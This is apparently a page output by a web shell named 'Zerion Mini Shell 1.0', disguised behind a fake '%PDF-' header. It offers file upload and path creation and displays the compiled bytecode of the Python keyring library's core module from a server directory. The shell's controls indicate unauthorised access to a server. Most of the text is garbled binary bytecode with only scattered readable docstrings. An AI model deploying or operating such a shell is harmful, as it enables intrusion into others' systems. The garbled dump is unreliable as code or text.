%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/keyring/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/keyring/__pycache__/core.cpython-312.pyc

�

�ez���dZddlZddlZddlZddlZddlZddlmZmZddl	m
Zddlm
Z
ejejgefZej$e�Zdadejddfd	�Zdejfd
�Zd d�Zded
edej4efd�Zded
ededdfd�Zded
eddfd�Zded
ej4edej4ej<fd�Zdefd�Z d!dej4efd�Z!d!dej4efd�Z"dedejFejfd�Z$dedejfd�Z%dej4ejfd�Z&d�Z'd�Z(dej4ejfd�Z)dejTddfd�Z+y)"z1
Core API functions and initialization routines.
�N�)�backend�credentials)�	platform_)�fail�keyring�returnc�R�t|tj�std��|ay)zSet current keyring backend.z1The keyring must be an instance of KeyringBackendN)�
isinstancer�KeyringBackend�	TypeError�_keyring_backend)rs �./usr/lib/python3/dist-packages/keyring/core.py�set_keyringrs&���g�w�5�5�6��K�L�L���c�r�t�
t�tjtj
t�S)zGet current keyring backend.)r�init_backend�typing�castrr�rr�get_keyringrs%�������;�;�w�-�-�/?�@�@rc�x�tj�}	tj|�tj
j
|d�}tj
j|�rd|��}t|��t|d�5}|jd�ddd�y#t$rY��wxYw#1swYyxYw)z4
    Configure the null keyring as the default.
    �
keyringrc.cfgzRefusing to overwrite �wz7[backend]
default-keyring=keyring.backends.null.KeyringN)�platform�config_root�os�makedirs�OSError�path�join�exists�RuntimeError�open�write)�root�filename�msg�files    r�disabler*%s������!�D�
�
���D���w�w�|�|�D�/�2�H�	�w�w�~�~�h��&�x�j�1���3���	
�h��	�O���
�
�M�N�O�O��
�
��
��O�O�s�B!�B0�!	B-�,B-�0B9�service_name�usernamec�6�t�j||�S)z(Get password from the specified service.)r�get_password�r+r,s  rr.r.6s���=�%�%�l�H�=�=r�passwordc�:�t�j|||�y)z3Set password for the user in the specified service.N)r�set_password)r+r,r0s   rr2r2;s���M���|�X�x�@rc�8�t�j||�y)z:Delete the password for the user in the specified service.N)r�delete_passwordr/s  rr4r4@s���M�!�!�,��9rc�6�t�j||�S)z+Get a Credential for the specified service.)r�get_credentialr/s  rr6r6Es���=�'�'��h�?�?rc� �|jdk\S)Nr)�priority)rs r�recommendedr9Ls�����q� � r�limitc�,�tt|��y)z"
    Load a detected backend.
    N)r�_detect_backend�r:s rrrPs�����&�'rc���|t_t�xsVt�xsJt	t|tj��tj�tj��S)z�
    Return a keyring specified in the config file or infer the best available.

    Limit, if supplied, should be a callable taking a backend and returning
    True if that backend should be included for consideration.
    )�default�key)
r�_limit�load_env�load_config�max�filter�get_all_keyringr�Keyring�by_priorityr=s rr<r<WsQ���G�N��
�	
��=�	
���5�'�1�1�3�4��L�L�N��#�#�	
�	r�keyring_namec��|jd�\}}}t|�tj|}t	||�S)a�
    Load the keyring class indicated by name.

    These popular names are tested to ensure their presence.

    >>> popular_names = [
    ...      'keyring.backends.Windows.WinVaultKeyring',
    ...      'keyring.backends.macOS.Keyring',
    ...      'keyring.backends.kwallet.DBusKeyring',
    ...      'keyring.backends.SecretService.Keyring',
    ...  ]
    >>> list(map(_load_keyring_class, popular_names))
    [...]
    �.)�
rpartition�
__import__�sys�modules�getattr)rI�module_name�sep�
class_name�modules     r�_load_keyring_classrUms>��$0�#:�#:�3�#?� �K��j��{��
�[�[��
%�F��6�:�&�&rc�>�t|�}|j|�S)z�
    Load the specified keyring by name (a fully-qualified name to the
    keyring, such as 'keyring.backends.file.PlaintextKeyring')
    )rUr8)rI�class_s  r�load_keyringrX�s��
!��
.�F�
�O�O��8�Orc�Z�	ttjd�S#t$rYywxYw)z6Load a keyring configured in the environment variable.�PYTHON_KEYRING_BACKENDN)rXr�environ�KeyErrorrrrrBrB�s.����B�J�J�'?�@�A�A������s��	*�*c�0�tj�dzS)Nr)rrrrr�_config_pathr^�s�����!�O�3�3rc�<�|j�st|��|S�N)r"�FileNotFoundError)r s r�_ensure_pathrb�s���;�;�=���%�%��Krc��tj�}	|jtt	��d��t
|�	|jd�r!|jdd�j�}ntjdd��	t|�S#t
$rYywxYw#tjtf$r7tjd�}|jddt	���z�YywxYw)	z8Load a keyring using the config file in the config root.zutf-8)�encodingNrzdefault-keyringrz/Keyring config file contains incorrect values.
z
Config file: )�configparser�RawConfigParser�readrbr^ra�_load_keyring_path�has_section�get�strip�
NoOptionError�ImportError�logging�	getLogger�warningrX)�configrI�loggers   rrCrC�s����
)�
)�
+�F�����L���0�7��C��v������i�(�!�:�:�i�1B�C�I�I�K�L��,�,�Y�8I�J�J�
���%�%��'�����
�&�&��4���"�"�9�-�����>��l�n�-�.�
/�	
��
�s%�$B�AB)�	B&�%B&�)A
C9�8C9rqc���	|jdd�j�}tjj	d|�y#t
jt
jf$rYywxYw)z)load the keyring-path option (if present)rzkeyring-pathrN)rjrkrNr �insertrerl�NoSectionError)rqr s  rrhrh�sU��
��z�z�)�^�4�:�:�<��������4� ���&�&��(C�(C�D�
��
�s�AA�#A)�(A))r	Nr`),�__doc__rerrNrnr�rr�utilrr�backendsr�Callabler�bool�
LimitCallablero�__name__�logrrrr*�str�Optionalr.r2r4�
Credentialr6r9rr<�TyperUrXrBr^rbrCrfrhrrr�<module>r�s�����	�
��
�"�'������!7�!7� 8�$� >�?�
��g����!������/�/��D��A�W�+�+�A�O�">�s�>�c�>�f�o�o�c�6J�>�
A�s�A�c�A�S�A�T�A�
:�#�:��:��:�
@��@�!'����!5�@��_�_�[�+�+�,�@�!�D�!�(����
�6�(��6�?�?�=�9��,'�c�'�f�k�k�'�:P�:P�.Q�'�*�s��w�'=�'=���&�/�/�'�"8�"8�9��4��&�V�_�_�W�%;�%;�<�&�8
�|�;�;�
��
r

Zerion Mini Shell 1.0